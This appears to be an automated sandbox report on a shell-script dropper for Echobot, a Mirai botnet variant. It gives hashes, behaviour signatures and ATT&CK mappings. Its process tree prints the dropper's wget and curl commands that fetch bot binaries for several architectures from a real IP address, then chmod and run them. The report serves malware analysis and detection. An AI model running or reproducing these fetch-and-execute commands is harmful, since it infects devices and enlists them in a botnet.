Analysis
-
max time kernel
151s -
max time network
155s -
platform
debian-9_mips -
resource
debian9-mipsbe-20240611-en -
resource tags
-
submitted
22-11-2024 18:59
General
-
Target
8UsA.sh
-
Size
1KB
-
MD5
513641f5f60d55559c2060489de6d605
-
SHA1
c95feec2255732b60d434b0639b88a5cff205ea0
-
SHA256
1100eaedb376144012b559268f7ee73e8bfe32e9fc79072c193d1560fbbe34dd
-
SHA512
71ee20fe10e58b1d9a0e0e5268ba264e35e15e3a5190cfdf5950245579fbbdabd9aef7dc11e9398e0df8add1afb1400a0134911b6ebb9deb937b578fc52775e0
Malware Config
Signatures
-
Detected Echobot 2 IoCs
-
Echobot
An updated variant of Mirai which infects a wide range of IoT devices to form a botnet.
-
Echobot family
-
Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
-
Mirai family
-
Contacts a large (149409) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
-
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
-
File and Directory Permissions Modification 1 TTPs 5 IoCs
Adversaries may modify file or directory permissions to evade defenses.
-
Executes dropped EXE 5 IoCs
-
Modifies Watchdog functionality 1 TTPs 8 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
-
Enumerates active TCP sockets 1 TTPs 4 IoCs
Gets active TCP sockets from /proc virtual filesystem.
-
Enumerates running processes
Discovers information about currently running processes on the system
-
Changes its process name 4 IoCs
-
Reads system network configuration 1 TTPs 4 IoCs
Uses contents of /proc filesystem to enumerate network settings.
-
Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
-
System Network Configuration Discovery 1 TTPs 4 IoCs
Adversaries may gather information about the network configuration of a system.
-
Writes file to tmp directory 11 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/8UsA.sh/tmp/8UsA.sh1⤵
- Writes file to tmp directory
-
/usr/bin/wgetwget http://89.22.230.162/bins/UnHAnaAW.x862⤵
- Writes file to tmp directory
-
-
/usr/bin/curlcurl -O http://89.22.230.162/bins/UnHAnaAW.x862⤵
- Writes file to tmp directory
-
-
/bin/catcat UnHAnaAW.x862⤵
-
-
/bin/chmodchmod +x 3AvA 8UsA.sh systemd-private-a23af2012a9c4325be1adc61f96c31ce-systemd-timedated.service-YDKfVW UnHAnaAW.x862⤵
- File and Directory Permissions Modification
-
-
/tmp/3AvA./3AvA x862⤵
- Executes dropped EXE
-
-
/usr/bin/wgetwget http://89.22.230.162/bins/UnHAnaAW.mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
-
-
/usr/bin/curlcurl -O http://89.22.230.162/bins/UnHAnaAW.mips2⤵
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
-
-
/bin/catcat UnHAnaAW.mips2⤵
- System Network Configuration Discovery
-
-
/bin/chmodchmod +x 3AvA 8UsA.sh systemd-private-a23af2012a9c4325be1adc61f96c31ce-systemd-timedated.service-YDKfVW UnHAnaAW.mips UnHAnaAW.x862⤵
- File and Directory Permissions Modification
-
-
/tmp/3AvA./3AvA mips2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Enumerates active TCP sockets
- Changes its process name
- Reads system network configuration
- Reads runtime system information
- System Network Configuration Discovery
-
-
/usr/bin/wgetwget http://89.22.230.162/bins/UnHAnaAW.mpsl2⤵
- Writes file to tmp directory
-
-
/usr/bin/curlcurl -O http://89.22.230.162/bins/UnHAnaAW.mpsl2⤵
- Reads runtime system information
- Writes file to tmp directory
-
-
/bin/chmodchmod +x 3AvA 8UsA.sh UnHAnaAW.mips UnHAnaAW.mpsl UnHAnaAW.x862⤵
- File and Directory Permissions Modification
-
-
/tmp/3AvA./3AvA mpsl2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Enumerates active TCP sockets
- Changes its process name
- Reads system network configuration
- Reads runtime system information
-
-
/usr/bin/wgetwget http://89.22.230.162/bins/UnHAnaAW.arm42⤵
-
-
/usr/bin/curlcurl -O http://89.22.230.162/bins/UnHAnaAW.arm42⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod +x 3AvA 8UsA.sh UnHAnaAW.arm4 UnHAnaAW.mips UnHAnaAW.mpsl UnHAnaAW.x862⤵
- File and Directory Permissions Modification
-
-
/tmp/3AvA./3AvA arm42⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Enumerates active TCP sockets
- Changes its process name
- Reads system network configuration
- Reads runtime system information
-
-
/usr/bin/wgetwget http://89.22.230.162/bins/UnHAnaAW.arm52⤵
- Writes file to tmp directory
-
-
/usr/bin/curlcurl -O http://89.22.230.162/bins/UnHAnaAW.arm52⤵
- Reads runtime system information
- Writes file to tmp directory
-
-
/bin/chmodchmod +x 3AvA 8UsA.sh UnHAnaAW.arm4 UnHAnaAW.arm5 UnHAnaAW.mips UnHAnaAW.mpsl UnHAnaAW.x862⤵
- File and Directory Permissions Modification
-
-
/tmp/3AvA./3AvA arm52⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Enumerates active TCP sockets
- Changes its process name
- Reads system network configuration
- Reads runtime system information
-
-
/usr/bin/wgetwget http://89.22.230.162/bins/UnHAnaAW.arm62⤵
- Writes file to tmp directory
-
-
/usr/bin/curlcurl -O http://89.22.230.162/bins/UnHAnaAW.arm62⤵
-
Network
MITRE ATT&CK Enterprise v15
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Impair Defenses
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
98KB
MD51bfd79e3eb8d1d5806b78c2ee800ccbe
SHA18c7d5fb0ffe8c51e83cfe644a961d3b2bedb5e83
SHA256186fc8b8165ee76f730ea3b840c59473597282c472529c9b2716baab011787da
SHA512ade41301de6fdcbd940dd4a2cd7634ffd13dfb4f24c7b2e9b3e25aae7d3a7b1dce4817eada98e628d591cf8fcd1106d5292bee05ba3bcd6b6cc502135409bc0b
-
Filesize
69KB
MD54a5306ed50853b2ce31d13763bde2cd3
SHA112a84067a5b8ff314e005365faadd34d47ce0619
SHA25681d46cb68a82a4f80f26f017a9e988acd67811fb5b461df2546a23ccc5f6a05d
SHA512b9732bdbe82f34591e5e21b45f80fa7f465932aa6a6f07fd3389a866b0a94b39bd59d4f298fdd896e9b9a601bd4d72494338b1a5817d558ba3b6d2ed1d43e081